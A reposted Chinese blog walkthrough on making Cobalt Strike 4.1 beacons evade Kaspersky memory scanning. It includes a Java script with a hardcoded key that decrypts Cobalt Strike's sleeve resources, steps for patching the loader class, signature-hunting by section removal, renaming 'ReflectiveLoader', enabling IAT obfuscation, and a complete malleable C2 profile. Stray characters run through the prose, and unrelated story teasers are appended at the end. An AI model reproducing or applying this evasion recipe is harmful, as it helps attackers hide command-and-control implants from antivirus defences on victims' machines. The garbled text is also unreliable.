記一次cs bypass卡巴斯基內(nèi)存查殺

1.起始

在使用cobalt strike 的過(guò)程中歌馍,卡巴斯基對(duì)默認(rèn)cs 4.1版本生成的beacon進(jìn)行瘋狂的內(nèi)存查殺,特征多達(dá)6個(gè)。本次采用手動(dòng)定位法確認(rèn)特征豆巨,并通過(guò)修改配置達(dá)到內(nèi)存免殺效果。

2.解密

從cs4.x開(kāi)始掐场,對(duì)beacon等資源進(jìn)行了加密往扔,需要解密后才能獲得原始dll贩猎,為了更快測(cè)試修改后的dll,對(duì)cs的加載資源代碼進(jìn)行修改萍膛,讓其可以直接加載未經(jīng)加密的beacon.dll(感謝WBGII的解密腳本)

cs的資源放在sleeve文件夾內(nèi),cs的功能代碼為beacon.dll /beacon.x64.dll吭服,是內(nèi)存查殺重點(diǎn)關(guān)注的對(duì)象

cs讀取資源代碼如下

對(duì)資源進(jìn)行解密

//Author: WBGII

packagecsdecrypt;

importcommon.SleevedResource;

importjava.io.*;

publicclassMain{

publicstaticvoidsaveFile(Stringfilename,byte[]data)throwsException{

if(data!=null){

Stringfilepath=filename;

Filefile=newFile(filepath);

if(file.exists()){

file.delete();

}

FileOutputStreamfos=newFileOutputStream(file);

fos.write(data,0,data.length);

fos.flush();

fos.close();

}

}

publicstaticbyte[]toByteArray(Filef)throwsIOException{

ByteArrayOutputStreambos=newByteArrayOutputStream((int)f.length());

BufferedInputStreamin=null;

try{

in=newBufferedInputStream(newFileInputStream(f));

intbuf_size=1024;

byte[]buffer=newbyte[buf_size];

intlen=0;

while(-1!=(len=in.read(buffer,0,buf_size))){

bos.write(buffer,0,len);

}

returnbos.toByteArray();

}catch(IOExceptione){

e.printStackTrace();

throwe;

}finally{

try{

in.close();

}catch(IOExceptione){

e.printStackTrace();

}

bos.close();

}

}

publicstaticvoidmain(String[]var0)throwsException{

byte[]csdecrypt=newbyte[]{1,-55,-61,127,102,0,0,0,100,1,0,27,-27,-66,82,-58,37,92,51,85,-114,-118,28,-74,103,-53,6};

SleevedResource.Setup(csdecrypt);

byte[]var7=null;

Filefile=newFile("sleeve");

File[]fs=file.listFiles();

for(Fileff:fs){

if(!ff.isDirectory())

var7=SleevedResource.readResource(ff.getPath());

saveFile("sleevedecrypt\\"+ff.getName(),var7);

System.out.println("解密成功:"+ff.getName());

}

}

}

解密后對(duì)cs的代碼進(jìn)行修改,讓其直接可以加載為無(wú)加密的資源(資源替換sleeve文件夾)

/common/SleevedResource.class

去掉解密過(guò)程蝗罗,讓其直接讀取字節(jié)數(shù)組后返回艇棕,使用javac編譯,替換原有的class

3.測(cè)試

將解密后的beacon.dll載入內(nèi)存串塑,使用KAP查殺沼琉,發(fā)現(xiàn)其并無(wú)Cobalt.gen報(bào)毒,但是修補(bǔ)后的payload存在報(bào)毒桩匪,遂懷疑為cs生成payload的過(guò)程中往里面加了東西導(dǎo)致該特征出現(xiàn)打瘪。

使用Beyond Compare比對(duì)原始dll和生成后的payload,發(fā)現(xiàn)生成后的payload多出很多字符串

對(duì)這些多出的字符串進(jìn)行刪除傻昙,發(fā)現(xiàn)少了三個(gè)報(bào)毒闺骚,斷定其是Cobalt.gen報(bào)毒的原因,發(fā)現(xiàn)默認(rèn)的c2 profile中會(huì)添加這些垃圾字符串屋匕,并沒(méi)啥用(坑人)葛碧,直接刪除

刪除后,將payload載入过吻,發(fā)現(xiàn)卡巴不報(bào)Cobalt.gen进泼。前三個(gè)特征處理完畢。

4.最后兩個(gè)

后續(xù)兩個(gè)報(bào)毒如下:

MEM:Trojan.Win32.Cometer.gen

MEM:Trojan.Win32.SEPEH.gen

使用排列組合對(duì)區(qū)段進(jìn)行清除以排查纤虽,清除rdata和data后發(fā)現(xiàn)載入內(nèi)存后不殺乳绕。

發(fā)現(xiàn)rdata中出現(xiàn)敏感字符串ReflectiveLoader,遂修改逼纸,過(guò)了Cometer.gen

transform-x86{

strrep"ReflectiveLoader""misakaloader";

}

修改前:

修改后:

繼續(xù)排查洋措,單獨(dú)提取rdata區(qū)段載入內(nèi)存,發(fā)現(xiàn)其報(bào)毒SEPEH杰刽,就此確認(rèn)這個(gè)查殺點(diǎn)位于此處菠发。使用工具對(duì)其他字符清除,發(fā)現(xiàn)其繼續(xù)報(bào)毒贺嫂。為啟發(fā)式查殺滓鸠。隨后在rdata區(qū)域發(fā)現(xiàn)如下內(nèi)容

根據(jù)經(jīng)驗(yàn)猜測(cè)修改Sleep,載入后發(fā)現(xiàn)KAP不查殺了第喳,看來(lái)最后一個(gè)特征就是這里了糜俗。發(fā)現(xiàn)這里是IAT,準(zhǔn)備想辦法自行加密IAT。咨詢WBGII大佬后悠抹,知曉c2 profile可以開(kāi)啟加密混淆IAT珠月,遂使用配置 set obfuscate "true"; 成功bypass最后一個(gè)報(bào)毒。

手動(dòng)掃描內(nèi)存

5.提示

由于分階段的payload存在其他特征楔敌,請(qǐng)不要使用啤挎。生成stageless payload自行接管遠(yuǎn)程加載

https://wbglil.gitbook.io/cobalt-strike/

再次鳴謝WBGII大佬的配置幫助

最后附上c2 profile 文件

# default sleep time is 60s

set sleeptime "10000";

# jitter factor 0-99% [randomize callback times]

set jitter? ? "0";

# maximum number of bytes to send in a DNS A record request

set maxdns? ? "255";

# indicate that this is the default Beacon profile

set sample_name "001";

stage {

set stomppe "true";

set obfuscate "true";

set cleanup "true";

transform-x86 {

strrep "ReflectiveLoader" "misakaloader";

}

transform-x64 {

strrep "ReflectiveLoader" "misakaloader";

}

}

# define indicators for an HTTP GET

http-get {

# Beacon will randomly choose from this pool of URIs

set uri "/ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml";

client {

# base64 encode session metadata and store it in the Cookie header.

metadata {

base64;

header "Cookie";

}

}

server {

# server should send output with no changes

header "Content-Type" "application/octet-stream";

output {

print;

}

}

}

# define indicators for an HTTP POST

http-post {

# Same as above, Beacon will randomly choose from this pool of URIs [if multiple URIs are provided]

set uri "/submit.php";

client {

header "Content-Type" "application/octet-stream";

# transmit our session identifier as /submit.php?id=[identifier]

id {

parameter "id";

}

# post our output with no real changes

output {

print;

}

}

# The server's response to our HTTP POST

server {

header "Content-Type" "text/html";

# this will just print an empty string, meh...

output {

print;

}

}

}

??????????????????????????????來(lái)源:先知社區(qū)

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市梁丘,隨后出現(xiàn)的幾起案子侵浸,更是在濱河造成了極大的恐慌,老刑警劉巖氛谜,帶你破解...
    沈念sama閱讀 216,544評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異区端,居然都是意外死亡值漫,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,430評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門织盼,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)杨何,“玉大人,你說(shuō)我怎么就攤上這事沥邻∥J” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 162,764評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵唐全,是天一觀的道長(zhǎng)埃跷。 經(jīng)常有香客問(wèn)我,道長(zhǎng)邮利,這世上最難降的妖魔是什么弥雹? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,193評(píng)論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮延届,結(jié)果婚禮上剪勿,老公的妹妹穿的比我還像新娘。我一直安慰自己方庭,他們只是感情好厕吉,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,216評(píng)論 6 388
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著械念,像睡著了一般头朱。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上订讼,一...
    開(kāi)封第一講書(shū)人閱讀 51,182評(píng)論 1 299
  • 那天髓窜,我揣著相機(jī)與錄音,去河邊找鬼。 笑死寄纵,一個(gè)胖子當(dāng)著我的面吹牛鳖敷,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播程拭,決...
    沈念sama閱讀 40,063評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼定踱,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了恃鞋?” 一聲冷哼從身側(cè)響起崖媚,我...
    開(kāi)封第一講書(shū)人閱讀 38,917評(píng)論 0 274
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎恤浪,沒(méi)想到半個(gè)月后畅哑,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,329評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡水由,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,543評(píng)論 2 332
  • 正文 我和宋清朗相戀三年荠呐,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片砂客。...
    茶點(diǎn)故事閱讀 39,722評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡泥张,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出鞠值,到底是詐尸還是另有隱情媚创,我是刑警寧澤,帶...
    沈念sama閱讀 35,425評(píng)論 5 343
  • 正文 年R本政府宣布彤恶,位于F島的核電站钞钙,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏粤剧。R本人自食惡果不足惜歇竟,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,019評(píng)論 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望抵恋。 院中可真熱鬧焕议,春花似錦、人聲如沸弧关。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,671評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)世囊。三九已至别瞭,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間株憾,已是汗流浹背蝙寨。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,825評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工晒衩, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人墙歪。 一個(gè)月前我還...
    沈念sama閱讀 47,729評(píng)論 2 368
  • 正文 我出身青樓听系,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親虹菲。 傳聞我的和親對(duì)象是個(gè)殘疾皇子靠胜,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,614評(píng)論 2 353

推薦閱讀更多精彩內(nèi)容

  • CobaltStrike是一款美國(guó)RedTeam開(kāi)發(fā)的滲透測(cè)試神器,常被業(yè)界人稱為CS毕源。最近這個(gè)工具大火浪漠,成為了滲...
    卿酌南燭_b805閱讀 5,116評(píng)論 0 3
  • CobaltStrike是一款美國(guó)RedTeam開(kāi)發(fā)的滲透測(cè)試神器,常被業(yè)界人稱為CS霎褐。最近這個(gè)工具大火址愿,成為了滲...
    卿酌南燭_b805閱讀 5,564評(píng)論 3 14
  • Cobalt strike簡(jiǎn)介 Cobalt Strike是一款美國(guó)Red Team開(kāi)發(fā)的滲透測(cè)試神器,常被業(yè)界人...
    夢(mèng)境_旅行家閱讀 3,792評(píng)論 0 0
  • 前言 上篇文章SSH作內(nèi)網(wǎng)穿透促進(jìn)Cobalt Strike+Metasploit聯(lián)動(dòng)里提到了CS與MSF聯(lián)動(dòng)的場(chǎng)...
    慕長(zhǎng)風(fēng)啊閱讀 2,501評(píng)論 0 3
  • 推薦指數(shù): 6.0 書(shū)籍主旨關(guān)鍵詞:特權(quán)冻璃、焦點(diǎn)必盖、注意力、語(yǔ)言聯(lián)想俱饿、情景聯(lián)想 觀點(diǎn): 1.統(tǒng)計(jì)學(xué)現(xiàn)在叫數(shù)據(jù)分析,社會(huì)...
    Jenaral閱讀 5,717評(píng)論 0 5